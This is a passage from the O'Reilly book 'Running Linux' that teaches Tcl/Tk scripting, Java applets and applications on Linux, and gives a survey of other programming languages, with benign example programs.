For example, let's say that you wanted to write a command-driven debugger similar in nature to gdb. The debugger would present a prompt and allow users to enter commands such as step and breakpoint.

If the command syntax for your debugger is simple, you could easily write your own routines in C to read a command and process it. However, this approach becomes more complex when you wish to allow the user to define variables, macros, new functions, and so forth.

Instead of writing these routines from scratch, it is easy to embed a Tcl interpreter into your debugger application. Every command entered by the user would be handled by the interpreter routines. These routines are available as a set of C library functions.

The Tcl language itself includes many, many commands of its own. It provides control structures such as while and for loops, the ability to define functions, string and list manipulation routines, arithmetic functions, and so forth.

On top of these core Tcl routines, your debugger must provide additional commands--such as the aforementioned step and breakpoint. You would implement these commands in C within your application and tell the Tcl interpreter how to use them.

Now your debugger application has all of the power of Tcl at its fingertips. For example, the user customization file for the debugger could be a simple Tcl script. Within this script, the user can define new functions and variables, using Tcl's built-in support for these features.

Among the many extensions to Tcl is Tk, which provides many commands that allow your application to utilize the X Window System as a user interface. (X is introduced in Chapter 10, "Installing the X Window System".) Writing X-based applications as a Tk script is surprisingly easy. For example, the following Tcl/Tk application displays a text-entry widget in which a filename may be entered. It then runs an xterm containing a vi process to edit the file:

#!/usr/bin/wish -f

# Create a label widget, named .l
label .l -text "Filename:"
# Create an entry widget, named .e
entry .e -relief sunken -width 30 -textvariable fname

# Place the two widgets into the application window
pack .l -side left
pack .e -side left -padx 1m -pady 1m

# When the return key is pressed in the entry widget, run xterm
bind .e <Return> {
  exec xterm -e vi $fname
}

We will explain the syntax of this script shortly, but for now you can see that in less than 20 lines of code, we have developed a reasonably complex X application. When this script is executed, it will look like Figure 13-1.

An indication of Tk's usefulness is that the two scripting languages Perl and Python both have interfaces to it.

Figure 13-1. Simple Tk-generated window

For Tcl applications that use only the core Tcl routines, the precompiled interpreter tclsh is provided. This interpreter simply reads Tcl commands and executes them, one by one. In the case of our debugger application, we would write a new program that is linked to the Tcl interpreter library routines.

Likewise, for Tk applications that use only the standard set of Tcl commands and Tk widgets, the wish (window shell) interpreter is provided. wish executes the previous script, as you can see. If you wanted to implement new Tcl commands or Tk widgets, you could write a C program and link it to the Tcl and Tk libraries. In the next sections, we introduce you to writing simple Tcl and Tk scripts, for execution under tclsh or wish. A quick reference to Tcl and Tk is available as Tcl/Tk in a Nutshell by Paul Raines and Jeff Tranter.

13.5.1. Crash Course in Tcl

The Tcl language is easy to learn. If you are at all familiar with other scripting languages, such as the Bourne or C shell, Tcl/Tk will pose no threat to you.

For this reason, we will not spend a great deal of time on the Tcl language itself. It is straightforward and can be learned with the help of the various Tcl manual pages or John Ousterhout's excellent book, Tcl and the Tk Toolkit. This book describes not only how to write Tcl and Tk scripts but also how to use the Tcl/Tk libraries in your own applications.

Let's start with a simple example. The following Tcl script counts the lines in the given filename:

1  #!/usr/bin/tclsh -f
2
3  if {$argc != 1} {
4    error "lc <filename>"
5  }
6
7  set thefile [open [lindex $argv 0] r]
8  set count 0
9
10 while {[gets $thefile line] >= 0} {
11   set count [expr $count + 1]
12 }
13
14 puts "Read $count lines."
Lines 3-5 use a simple if statement to ensure that there is one argument to the script--that being the filename containing lines to count. The if command takes two arguments: an expression and a block of code to execute if the expression evaluates as true. (Like C, zero indicates false, nonzero indicates true.)

Each of the arguments to the if command are contained in braces, which group a set of words (or lines) together as a single argument. Although this syntax may remind you of C or Perl, Tcl's command-parsing behavior is actually quite simple. For example, it allows a command argument (here, the body of code on lines 3-5 containing the error command) to span multiple lines only if the opening brace is at the end of a line. If we had written the if command as:

if {$argc != 1}
  { error "lc <filename>" }
Tcl would have given us the error:
Error: wrong # args: no script following "$argc != 1" argument
wrong # args: no script following "$argc != 1" argument
    while executing
"if {$argc != 1} "
    (file "./lc.tcl" line 3)
In other words, Tcl doesn't know that the second argument to if is on the following line.

The body of the if command, on line 4, uses the error command to display an error message and exit the Tcl script.

On line 7, we open the file given as the first command-line argument, and assign the resulting file pointer to the variable thefile. The set command must be used to assign values to variables. This is because all Tcl commands must begin with a command name; we can't set the variable a to 1 using something like:

a = 1
because a refers to a variable, not a command. Instead, we use:
set a 1
Later, to refer to the value of the variable a, we would use $a.

The first argument to set is the name of the variable to assign, and the second argument is the value. Here, we have:

set thefile [open [lindex $argv 0] r]
Square brackets […] are used to specify a subscript, a sequence of commands to nest within the current command. The subscript is executed, and its return value substituted in the subscript's place.

For example, let's look at the subscript:

open [lindex $argv 0] r
This script executes the open command to open the file given as its first argument. The second argument, r, indicates that the file should be opened for reading.

The first argument to open is the subscript:

lindex $argv 0
The lindex command is used to index a list, or array, of items. In this case, we wish to obtain the 0th element of the $argv array, which contains the command-line arguments to the program, minus the command name itself. (This is unlike the use of argv in C programs.) Therefore, the 0th element of $argv is the first command-line argument.

Let's say that we named our script lc.tcl, and invoked it as:

eggplant$ lc.tcl /etc/passwd
Therefore, within the command:
set thefile [open [lindex $argv 0] r]
the nested subscript:
open [lindex $argv 0] r
will be replaced with:
open "/etc/passwd" r
which will, in turn, be replaced with the value of the file pointer corresponding to /etc/passwd. The net result is that the file pointer value is assigned to the variable thefile.

On line 8, we set the variable count to 0, which acts as our line counter.

Lines 10-12 contain a simple while loop, which repeatedly reads lines from the file until end of file (EOF):

while {[gets $thefile line] >= 0} {
  set count [expr $count + 1]
}
As we can see, the while command takes two arguments: a condition and a block of code to execute while the condition is true. Here, the loop condition is:
[gets $thefile line] >= 0
We see the subscript:
gets $thefile line
which executes the gets command. This reads a single line from the file pointer $thefile and assigns it to the variable line. gets returns the count of the number of characters read, or -1 if EOF is reached. Therefore, the while loop will continuously read lines from the file until gets returns a value less than zero.

The body of the while loop is:

set count [expr $count + 1]
which increments the value of count. Remember that Tcl commands must begin with a command name. Therefore, arithmetic expressions are handled using the expr command. Here, the subscript:
expr $count + 1
returns the value of the variable count plus 1. This is the canonical way to increment variables within Tcl.

Finally, on line 14, we see:

puts "Read $count lines."
which uses the puts command to display a string to standard output.

Here is a sample run of this script:

eggplant$ lc.tcl /etc/passwd
Read 144 lines.

13.5.2. Writing Tk Applications

Even the basic Tcl knowledge given in the previous section is enough to allow you to write applications using Tk, the Tcl extensions for the X Window System. Tk is essentially a collection of Tcl commands that create and manipulate X widgets--such as buttons, scrollbars, menus, and so forth. As we will see, Tk is extremely versatile and greatly simplifies the task of building a graphical user interface under X.

A widget is an object you want to manipulate, such as a rectangle. Each widget requires memory and a bunch of properties, but Tk relieves you from thinking about all that. You just create a widget and tell Tk what you want it to look like.

In this section, we'll help the user create an oval and a rectangle: each of those is a widget. But we also need a place to draw them: something fixed where the oval and rectangle are free to move around. So before drawing, we'll create an empty space called a canvas widget. The canvas widget is a generic graphics widget with support for many types of objects, such as ovals, lines, text, and so forth. And to provide the kind of convenient user interface people expect, we'll create a menu widget and a frame widget to hold everything together. When executed, this application looks something like Figure 13-2.

Figure 13-2. Window displayed by Tk program

Let's walk through the source for our application, draw.tcl:

#!/usr/bin/wish -f
# Global variables, used to keep track of objects and positions
set oval_count 0
set rect_count 0
set orig_x 0
set orig_y 0

No sweat here: we simply initialize a few variables to keep track of the oval and rectangle objects we create, as well as the location of the object as it is created.

The next portion of the source may be a bit daunting at first:

# This procedure enables ovals.
proc set_oval {} {
  # Allow us to access these global variables
  global oval_count orig_x orig_y

  # When button-1 is pressed, create an oval
  bind .c <ButtonPress-1> {
    set orig_x %x
    set orig_y %y
    set oval_count [expr $oval_count + 1]
    .c create oval %x %y %x %y -tags "oval$oval_count" -fill red
   }

  # When we drag button 1, delete the current oval and replace it
  bind .c <B1-Motion> {
    .c delete "oval$oval_count"
    .c create oval $orig_x $orig_y %x %y -tags "oval$oval_count" -fill red
  }
}

Here, we define a procedure named set_oval using the Tcl proc command. The first argument to proc is the list of arguments that the procedure will take; in this case, there are none. The second argument is the body of the procedure itself. This procedure is invoked when we select the Ovals item from the Objects menu, which is configured later in this section.

The first thing set_oval does is declare the variables oval_count, orig_x, and orig_y to be globals; otherwise, Tcl would assume we were using these variables locally within the procedure.

The next task is to bind an action to a ButtonPress event in the canvas widget we will be drawing into. This widget is named .c. Tk widgets are named hierarchically. The widget . (a period) refers to the main application window. Any widgets created within that window are given names beginning with a period, such as .c (for a canvas widget), .mbar (for a menu bar), and so on. Of course, the programmer can choose widget names, but those names must begin with a period. As we will see later, widgets may be contained within other widgets; for example, a menu is contained within a menu bar. A widget named:

.mbar.file.menu
might refer to the menu menu contained within the menu item file contained within the menu bar .mbar. This is demonstrated later in this section.

The bind command creates an event binding for a particular widget.[48] The first argument to bind is the widget in which to create the binding, the second argument is the event to track, and the third argument is the code to execute when that event occurs.

[48]An event is simply a message generated by the X server in response to a user action. For example, when the user presses mouse button 1 (usually the left mouse button) within a certain window, that window is sent a ButtonPress-1 event.

In this case, we wish to start drawing an oval whenever the user presses mouse button 1 in the canvas widget. The code of the binding sets the variables orig_x and orig_y to %x and %y, respectively. Within a binding, %x and %y refer to the x and y coordinates of the event in question. In this case, this would be the cursor position where the mouse button was pressed. We wish to save this location when the oval is resized. In addition, we increment the oval_count variable.

The ButtonPress-1 binding also executes the command:

.c create oval %x %y %x %y -tags "oval$oval_count" -fill red
This creates an oval object within the canvas widget .c. The upper-left and lower-right coordinates of the oval are given as %x and %y, the location of the ButtonPress event. We fill the oval with the color red.

The -tags option to the canvas create command assigns a "name" to the newly created oval object. In this way, we can refer to this particular oval on the canvas widget by its name. To ensure that each oval has a unique name, we use the oval_count variable, which is incremented each time an oval is created.

When the mouse is dragged with button 1 pressed, we wish to resize the oval. This is accomplished by setting a binding for the B1-Motion event in the canvas widget. This binding executes the two commands:

.c delete "oval$oval_count"
.c create oval $orig_x $orig_y %x %y -tags "oval$oval_count" -fill red
The canvas delete command deletes the object named by the given tag. We then recreate the oval at its original upper-left corner position, but with the new lower-right corner given by the location of the B1-Motion event. In other words, we are replacing the original oval object with a new oval with different coordinates, corresponding to the position of the mouse. This effectively resizes the oval as the mouse moves across the canvas widget with button 1 pressed.

We define an analogous set_rect function, which is nearly identical to the one previously discussed, but creates canvas rectangle objects instead:

# Identical to set_oval, but uses rectangles
proc set_rect {} {
  global rect_count orig_x orig_y
  bind .c <ButtonPress-1> {
    set orig_x %x
    set orig_y %y
    set rect_count [expr $rect_count + 1]
    .c create rectangle %x %y %x %y -tags "rect$rect_count" -fill blue
  }
  bind .c <B1-Motion> {
    .c delete "rect$rect_count"
    .c create rectangle $orig_x $orig_y %x %y -tags "rect$rect_count" \
      -fill blue
  }
}

Another way to draw rectangles and ovals would be to have a generic "draw object" function that uses a variable, say $objtype, to keep track of the current object type. The menu settings (described later) select the object type by setting the value of this variable. In the drawing function, we could simply use a canvas command such as:

.c create $objtype %x %y %x %y -tags "obj$obj_count" -fill blue
However, this assumes that all objects will be drawn in the same way (by clicking on one position and dragging the mouse to size the object). Using separate functions for each object type allows us to specialize the interface for each if we wish to do so.

Now we are ready to define the various widgets that make up our application. First, we need to create a frame widget to be used as a menu bar. A frame widget merely acts as a container for other widgets:

# Create a frame widget to be used as a menubar.
frame .mbar -relief groove -bd 3
pack .mbar -side top -expand yes -fill x
Here, we create a frame widget named .mbar. The -relief option specifies the display style for this widget--in this case, we wish the menu bar to appear as though it has a "groove" running along its perimeter. The -bd option sets the width of the widget's border, which, in this case, defines the width of the groove.

The pack command places widgets within the application window, or within other widgets. It is one kind of "geometry manager" available for Tk. In order for a widget to be displayed within the application, a geometry manager must be called to place the widget. pack is provided with Tcl/Tk, and is versatile enough for almost any application. pack allows you to specify how widgets should be placed relative to one another, without having to specify absolute locations.

In this case, we pack the .mbar widget into the top edge of its parent widget, which is . (the main application window). The -fill x option tells pack that the widget should be allocated the entire width of the window in which it is contained; the -expand option specifies that the widget should grow to fill that space. If you are interested in the intricacies of pack, the Tk pack manual page provides a great deal of detail.

Next, we create two menubutton widgets within this menu bar--the File and Object menus:

# Create two menu items
menubutton .mbar.file -text "File" -menu .mbar.file.menu
menubutton .mbar.obj -text "Object" -menu .mbar.obj.menu
pack .mbar.file .mbar.obj -side left
The two widgets in question are named .mbar.file and .mbar.obj. Therefore, each widget is a direct child of the .mbar widget, not the main application window. When we pack the two widgets, they are packed into the left side of their parent, the menu bar.

The -menu option to the menubutton command specifies the menu widget that should be displayed when this pulldown menu is selected. We will create the .mbar.file.menu and .mbar.obj.menu widgets later:

# Create the file menu, and add a single "Quit" item to it
menu .mbar.file.menu
.mbar.file.menu add command -label "Quit" -command { exit }
First, we create the File menu itself, and add a single command item to it. A command item is like a button: when selected, the code given by the -command option is executed. In this case, selecting this option exits the Tk script:

# Create the object menu, and add two radiobutton objects to it
menu .mbar.obj.menu
.mbar.obj.menu add radiobutton -label "Ovals" -variable objtype \
  -command { set_oval }
.mbar.obj.menu add radiobutton -label "Rectangles" -variable objtype \
  -command { set_rect }

Here, we create the Objects menu, and add two objects of type radiobutton to it. Radiobuttons define a set of options where only one of the options may be selected at a given time. For example, when Ovals is selected, it is highlighted in the menu and Rectangles is dimmed.

In order to "link" the two radiobuttons (so that only one may be selected at a time), we use the -variable option to specify a "dummy" variable that keeps track of the current setting of the radio buttons. The -variable option may be used in conjunction with -value, which assigns a value to the named variable when the menu item is selected. Instead, we choose to execute a procedure (specified with the -command option) when the menu item is selected, which precludes the need for -value.

Next, we create our canvas widget and pack it into the application window:

# Create the canvas .c
canvas .c
pack .c -side top

Finally, we enable the Ovals option by artificially invoking the corresponding menu item. This is exactly what happens when the user selects the menu item using the mouse:

# Turn on ovals, by invoking the first item in the object menu
.mbar.obj.menu invoke 0

Here, in a few dozen lines of code, we have a complete, relatively complex X application. There are many easy ways to extend this program: for example, by adding new object types, allowing the user to save and load "pictures" created with it, and so on. In fact, the canvas widget even supports an option to dump a PostScript image of its contents, which then can be printed.

13.5.3. Using Tcl and Tk in Other Applications

As mentioned previously, you can use Tcl and Tk with other programs written in languages such as C or Perl. Writing a complex program as a Tcl/Tk script is possible, but it would probably be slower than coding it in a compiled language because Tcl is interpreted. Although Perl is interpreted as well, Perl is suited to many tasks that are more difficult to accomplish in Tcl or C.

The canonical way to use Tcl and Tk with a C program is to link the Tcl and Tk libraries with the C code. Tcl and Tk provide simple .a static libraries, as well as shared .so libraries on some systems. The Tcl interpreter is implemented as a series of functions that your program calls.

The idea is that you implement new Tcl commands as C functions, and the Tcl interpreter calls those functions when one of those commands is used. To do this you must structure your program to initialize the Tcl interpreter and use a Tcl "main loop," which reads Tcl commands from some location (such as a file) and executes them. This is roughly equivalent to building your own tclsh or wish interpreter with a few extra Tcl/Tk commands implemented in C.

This may not be the best solution for all applications. First of all, it requires some of your program to be restructured, and the Tcl interpreter ends up controlling the application--not the other way around. Also, unless you use shared Tcl and Tk libraries, having a complete Tcl/Tk interpreter embedded in your application can make the binary quite large--well over a megabyte. Also, your application may depend on some kind of Tcl script to drive it, which means that the executable is not enough to use the complete application: you need the driving script as well.

Another solution is to write an application in C or Perl that executes the wish interpreter as a separate process and communicates with it via pipes. In this case, you will need two pipes: one for the C program to write commands to wish and another for the C program to read responses from wish. This can be done with a single pipe, but synchronization becomes more difficult. For example, responses from wish may be asynchronous--generated from user events such as a button press--which makes the use of a single pipe a bit complex.[49]

[49]Remember that a pipe is a simple one-way data stream used to communicate from one process to another. The shell allows you to use single pipes between commands, as in cat foo.txt.gz | gunzip -c | more.

The most straightforward way of setting this up is to write a C function that does the following (in pseudocode):

Create two pipes by calling pipe() twice;
Use fork() to start a child process;
  In the child process,
    close the read end of one pipe and the write end of another;
    Use dup2() to duplicate stdin and stdout to the appropriate pipes;
    Use execlp() to start wish;
  In the parent process;
    close the read end of the write pipe, and the write end of the
      read pipe;
    Use fdopen() on each pipe to get a FILE descriptor for use with
      fprintf() and fscanf();
Of course, you'll need some knowledge of Unix systems programming to use the previous example, but it's provided here for the adventurous.

The parent process (your C application) can now write Tcl/Tk commands to the write pipe and read responses from wish on the read pipe. The select function can be used to poll for data on the read pipe, in case you want your application to keep processing while waiting for data from the wish interpreter.

This way, we treat wish as a "server" for X Window System routines. Your program would send widget-creation commands down the write pipe. wish could be told to print a string to standard output when a response is required from the application. For example, a button widget could be created that prints the string okay button pressed when pressed by the user. Your program would read this string on the read pipe and respond to it. Other parts of the application could be controlled by wish without your application's knowledge. The computing-intensive, speed-critical parts of the application would be coded in C, and the interface handled by wish.

Hopefully, the overview here should be enough to give you an idea of how to write a C or Perl program that uses wish in this way. It's a good idea to read a book on Unix systems programming that talks about interprocess communication using pipes, such as Advanced Programming in the UNIX Environment by Richard Stevens or UNIX System Programming by David Curry.

Previous | Home | Next
13.4. Using Perl | Book Index | 13.6. Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java (Running Linux)

 Running LinuxSearch this book
Previous Next

13.6. Java

Java is a network-aware, object-oriented language developed by Sun Microsystems. Java has been causing a lot of excitement in the computing community as it strives to provide a secure language for running applets downloaded from World Wide Web sites. The idea is simple: allow web browsers to download Java applets, which run on the client's machine. The popular Netscape web browser (discussed in Chapter 16, "The World Wide Web and Electronic Mail" ) includes support for Java, and the Java Developer's Kit and other tools have been ported to Linux. But Java is not only suitable for those applets, in recent time, it has been used more and more as a general purpose programming language that offers fewer obstacles for beginners and that--because of its built-in networking libraries--is often used for programming client/server applications.

13.6.1. The Promise of Java, or Why You Might Want to Use Java

All this may not sound too exciting to you. There are lots of object-oriented programming languages, after all, and with Netscape plug-ins you can download executable programs from web servers and execute them on your local machine.

But Java is more. One of its most exciting aspects is platform independence. That means that you can write and compile your Java program and then deploy it on almost every machine, whether it is a lowly 386 running Linux, a powerful Pentium II running the latest bloatware from Microsoft, or an IBM mainframe. Sun Microsystems calls this "Write Once, Run Anywhere." Unfortunately, real life is not as simple as design goals. There are tiny, but frustrating, differences that make a program work on one platform and fail on another. With the advent of the new GUI library Swing in Java 2.0, a large step has been made to remedy this.

This neat feature of compiling code once and then being able to run it on another machine is made possible by the Java Virtual Machine (JVM). The Java compiler does not generate object code for a particular CPU and operating system like gcc does, it generates code for the Java Virtual Machine. This machine does not exist anywhere in hardware (yet), but is instead a specification. This specification says which so-called opcodes the machine understands and what the machine does when it encounters them in the object file. The program is distributed in binary form containing so-called byte codes that follow the Java Virtual Machine specification.

Now all you need is a program that implements the Java Virtual Machine on your particular computer and operating system. These are available nowadays for just about any platform--no vendor can dare not provide a Java Virtual Machine for its hardware or operating system. This program is also called the Java interpreter, because it interprets the opcodes compiled for the Java Virtual Machine and translates them into code for the native machine.

This distinction, which makes Java both a compiled and an interpreted language, makes it possible for you to write and compile your Java program and distribute it to someone else, and no matter what hardware and operating system she has, she will be able to run your program as long as a Java interpreter is available for it.

Alas, Java's platform independence comes at a price. Because the object code is not object code of any currently existing hardware, it must pass through an extra layer of processing, meaning that programs written in Java typically run ten to twenty times slower than comparable programs written in, for example, C. While this does not matter for some cases, in other cases it is simply unacceptable. There are so-called Just-In-Time compilers available that first translate the object code for the Java Virtual Machine into native object code and then run this object code. When the same object code is run a second time, the precompiled native code can be used without any interpretation and thus runs faster. But the speed that can be achieved with this is still inferior to that of C programs. Sun Microsystems is working on a technology that is said to provide an execution speed "comparable to C programs," but whether this promise can be fulfilled remains to be seen.

Java also distinguishes between applications and applets. Applications are standalone programs that are run from the command line or your local desktop and behave like ordinary programs. Applets, on the other hand, are programs (usually smaller) that run inside your web browser. (To run these programs, the browser needs a Java interpreter inside.) When you browse a web site that contains a Java applet, the web server sends you the object code of the applet, and your browser executes it for you. This can be used for anything from simple animations to complete online banking systems.[50]

[50]One of us does all his financial business with his bank via a Java applet that his bank provides when browsing a special area of their web server.

When reading about the Java applets, you might have thought, "And what happens if the applet contains mischievous code that spies my hard disk or even maybe deletes or corrupts files?" Of course, this would be possible if the Java designers had not designed a multistep countermeasure against such attacks: All Java applets run in a so-called sandbox, which allows them access only to certain resources. For example, Java applets can output text on your monitor, but they can't read data from your local filesystem or even write to it unless you explicitly allow them to. While this sandbox paradigm reduces the usefulness of applets, it increases the security of your data. With recent Java releases, you can determine how much security you need and thus have additional flexibility.

If you decide that Java is something for you, we would recommend that you get a copy of Thinking in Java by Bruce Eckel. It covers most of the things you need to know in the Java world and also teaches you general programming principles. Other Java titles that are well worth looking into include Exploring Java by Pat Niemeyer and Josh Peck and Core Java by Gary Cornell and Cay Horstmann.

13.6.2. Getting Java for Linux

Fortunately, there is a Linux port of the so-called JDK, the Java Developers Kit provided by Sun Microsystem for Solaris and Windows which serves as a reference implementation of Java. In the past, there was usually a gap between the appearance of a new JDK version for Solaris and Windows and the availability of the JDK for Linux. Sun Microsystems has now promised to work closely together with the developers doing the Linux port, so there is hope that future Linux versions will be available in a timely manner.

The "official" Java implementation JDK contains a compiler, an interpreter and several related tools. Other kits are also available for Linux, often in the form of Open Source software. We'll cover the JDK here, though, because that's the standard.

One more note: Most distributions already contain the JDK for Linux, so it might be easier for you to simply install a prepackaged one. However, the JDK is moving fast, and you might want to install a newer version than the one your distribution contains.

Your one stop for shopping for Java software for Linux is http://www.blackdown.org. Here, you will find documentation, news about the Linux ports, and links to the places where you can download a copy of the JDK for your machine.

After unpacking and installing the JDK according to the instructions, you have several new programs at your disposal. javac is the Java compiler, java is the interpreter, and appletviewer is a small GUI program that lets you run applets without using a full-blown web browser.

13.6.3. A Working Example of Java

The following program (which has been written for Java 1.1, but should also work with Java 1.2/2) is a complete Java program that can run as a stand-alone application as well as an applet. It is a small painting program that lets you scribble on a virtual canvas. It also utilizes some GUI elements like a push button and an option menu.

The part of Java that lets you use GUI elements like windows and menus is called the Abstract Window Toolkit (AWT). It, too, helps fulfill Java's promise of "Write once, run anywhere." Even though different operating systems like Linux, Windows, and the Macintosh have completely different windowing systems, you need to write your user interface code only once. The AWT then maps the platform-independent widgets to a native GUI library. Thus, your program will have the native look of the respective windowing systems, depending on the system you run it on.

The AWT has a number of drawbacks, such as the different look that the programs have on each platform (some people consider this an advantage, though, because the program looks like a native application), the speed, and the numerous bugs. With the recent advent of Java 2.0, AWT will be replaced by a new toolkit called Swing that is based on an internal layer of the AWT and implements all user interface elements in Java. Swing projects usually look very nice but are even slower.

Enough talk now. Here is the code for the little scribbling program:

import java.applet.*;
import java.awt.*;
import java.awt.event.*;
/** An applet that can also run as a standalone application */
public class StandaloneScribble extends Applet {
  /**
   * The main() method.  If this program is invoked as an application,
   * this method will create the necessary window, add the applet to it,

   * and call init(), below.  Note that Frame uses a PanelLayout by
   * default.
   */
  public static void main(String[] args) {
    Frame f = new Frame();                     // Create a window
    Applet a = new StandaloneScribble();       // Create the applet panel
    f.add(a, "Center");                        // Add applet to window
    a.init();                                  // Initialize the applet
    f.setSize(400, 400);                       // Set the size of the
                                               // window
    f.show();                                  // Make the window visible
    f.addWindowListener(new WindowAdapter() {  // Handle window close
                                               // requests
      public void windowClosing(WindowEvent e) { System.exit(0); }
    });
  }
  /**
   * The init() method.  If the program is invoked as an applet, the
   * browser allocates screen space for it and calls this method to set
   * things up.
   */
  public void init() {
    // Define, instantiate and register a MouseListener object
    this.addMouseListener(new MouseAdapter() {
      public void mousePressed(MouseEvent e) {
        lastx = e.getX();
        lasty = e.getY();
      }
    });
    // Define, instantiate and register a MouseMotionListener object
    this.addMouseMotionListener(new MouseMotionAdapter() {
      public void mouseDragged(MouseEvent e) {
        Graphics g = getGraphics();
        int x = e.getX(), y = e.getY();
        g.setColor(Color.black);
        g.drawLine(lastx, lasty, x, y);
        lastx = x; lasty = y;
      }
    });
    // Create a clear button
    Button b = new Button("Clear");
    // Define, instantiate, and register a listener to handle button
    // presses
    b.addActionListener(new ActionListener() {
      public void actionPerformed(ActionEvent e) {  // clear the scribble
        Graphics g = getGraphics();
        g.setColor(getBackground());
        g.fillRect(0, 0, getSize().width, getSize().height);
      }
    });

    // And add the button to the applet
    this.add(b);
  }
  protected int lastx, lasty;  // Coordinates of last mouse click
}

Save this code in a file named StandaloneScribble.java. The name is important; it must be the same as the name of the class implemented in the file with .java attached. To compile this code, issue the following command:

$tigger javac StandaloneScribble.java

This can take a while. The Java compiler is not particularly fast, mainly because it is written in Java itself. When it is done, it will have created a file StandaloneScribble.class together with some more .class files which we won't talk about here.

Now you can run this program from the command-line. Simply issue the command:

$tigger java StandaloneScribble

If you have installed the JDK correctly, you should get a window to scribble in. Note that the argument passed to the Java command was StandaloneScribble without the .class extension. This is because, technically, the interpreter is not executing the file, but the class.

You can also run this program, in a web browser or in the appletviewer from the JDK. For this, you need a bit of HTML code. The following should be enough:

<APPLET code="StandaloneScribble.class" width=150 height=100>
</APPLET>

Save this code to a file and open it with either a web browser like Netscape Navigator or the appletviewer, and you'll see the program in the browser window.

To finish this section, let's go through some of the most interesting lines of the program: In the first three lines, other Java classes that come from the JDK are imported. This is roughly comparable to including header files in a C program although there is no linking step in Java. When the program is run, the Java interpreter needs to be able to find the imported classes. It does this by looking in the directories mentioned in the environment variable CLASSPATH that you should have set up according to the JDK documentation.

Lines 13 through 21 contain the main() method. When the program is run as a standalone application, this method is called by the interpreter to start the execution of the program. In this method, a window is set up which is then used for screen output.

Most of the remaining code is the method init(). It is called either from main() when run standalone or directly from the web browser when run as an applet. In the latter case, main() is not executed at all.

13.6.4. Executing Java Programs Like Ordinary Programs

Since version 2.0, the Linux kernel has a nice feature that allows it to execute a Java program without explicitly invoking the interpreter. In order to enable this feature, you need to recompile your kernel (see Chapter 7, "Upgrading Software and the Kernel" ) and turn on Java binary format support. When you have installed the new kernel and rebooted your machine, you can make your class file executable and just run it from the command line. The Linux kernel will call the Java interpreter for you in the background:

tigger$ chmod +x StandaloneScribble.class
tigger$ ./StandaloneScribble.class

Nice feature, isn't it? The big boys like IBM and Microsoft are still trying to get it working. In case it does not work for you, the most probable reason is that the Linux-Kernel cannot find the Java interpreter. Check the values of the two constants _PATH_JAVA and _PATH_APPLET in the file /usr/src/linux/fs/binfmt_java.c. If these do not reflect the location of your Java interpreter and appletviewer, move the interpreter and the appletviewer to one of the directories shown. Alternatively, you can change the binfmt_java.c file to include the proper directory, after which you have to recompile and install your kernel.

Previous | Home | Next
13.5. Programming in Tcl and Tk | Book Index | 13.7. Other Languages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Other Languages (Running Linux)

 Running LinuxSearch this book
Previous Next

13.7. Other Languages

There are many other popular (and not-so-popular) languages available for Linux. For the most part, however, these work identically on Linux as on other Unix systems, so there's not much in the way of news there. There are also so many of them that we can't cover them in much detail here. We do want to let you know what's out there, however, and explain some of the differences between the various languages and compilers.

Python has gained a lot of attention lately, because it is a powerful mixture of different programming paradigms and styles. For example, it is one of the very few interpreted object-oriented programming languages (Perl being another example, but only relatively late in its existence). Python fans say it is especially easily learned. Python was almost entirely written and designed by Guido van Rossum, who chose the name because he wrote the interpreter while watching reruns of the British TV show Monty Python's Flying Circus. You can read all about Python at http://www.python.org or in Programming Python by Mark Lutz.

LISP is an interpreted language used in many applications, ranging from artificial intelligence to statistics. It is used primarily in computer science, because it defines a clean, logical interface for working with algorithms. (It also uses a lot of parentheses, something computer scientists are always fond of.) It is a functional programming language and is very generalized. Many operations are defined in terms of recursion instead of linear loops. Expressions are hierarchical, and data is represented by lists of items.

There are several LISP interpreters available for Linux. Emacs LISP is a fairly complete implementation in itself. It has many features that allow it to interact directly with Emacs--input and output through Emacs buffers, for example--but it may be used for non-Emacs-related applications as well.

Also available is CLISP, a Common LISP implementation by Bruno Haible of Karlsruhe University and Michael Stoll of Munich University. It includes an interpreter, a compiler, and a subset of CLOS (Common LISP Object System, an object-oriented extension to LISP). CLX, a Common LISP interface to the X Window System, is also available, and it runs under CLISP. CLX allows you to write X-based applications in LISP. Austin Kyoto Common LISP, another LISP implementation, is available and compatible with CLX as well.

SWI-Prolog, a complete Prolog implementation by Jan Wielemaker of the University of Amsterdam, is also available. Prolog is a logic-based language, allowing you to make logical assertions, define heuristics for validating those assertions, and make decisions based on them. It is a useful language for AI applications.

Also available are several Scheme interpreters, including MIT Scheme, a complete Scheme interpreter conforming to the R4 standard. Scheme is a dialect of LISP that offers a cleaner, more general programming model. It is a good LISP dialect for computer-science applications and for studying algorithms.

At least two implementations of Ada are available--AdaEd, an Ada interpreter, and GNAT, the GNU Ada Translator. GNAT is actually a full-fledged optimizing Ada compiler. It is to Ada what gcc is to C and C++.

Along the same vein, two other popular language translators exist for Linux--p2c, a Pascal-to-C translator, and f2c, a FORTRAN-to-C translator. If you're concerned that these translators won't function as well as bona fide compilers, don't be. Both p2c and f2c have proven to be robust and useful for heavy Pascal and FORTRAN use.

f2c is FORTRAN-77-compliant, and a number of tools are available for it as well. ftnchek is a FORTRAN checker, similar to lint. Both the LAPACK numerical methods library and the mpfun multiprecision FORTRAN library have been ported to Linux using f2c. toolpack is a collection of FORTRAN tools, such as a source-code pretty-printer, a precision converter, and a portability checker.

Among the miscellaneous other languages available for Linux are interpreters for APL, Rexx, Forth, ML, Eiffel, and a Simula-to-C translator. The GNU versions of the compiler tools lex and yacc (renamed to flex and bison, respectively), which are used for many software packages, have also been ported to Linux. lex and yacc are invaluable for creating any kind of parser or translator, most commonly used when writing compilers.

Previous | Home | Next
13.6. Java | Book Index | 14. Tools for Programmers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tools for Programmers (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 14. Tools for Programmers

Contents:

Debugging with gdb
Programming Tools

Many judge a computer system by the tools it offers its programmers. Unix systems have won the contest by many people's standards, having developed a very rich set over the years. Leading the parade is the GNU debugger, gdb. In this chapter, we take a close look at this invaluable utility and a number of other auxiliary tools C programmers will find useful.

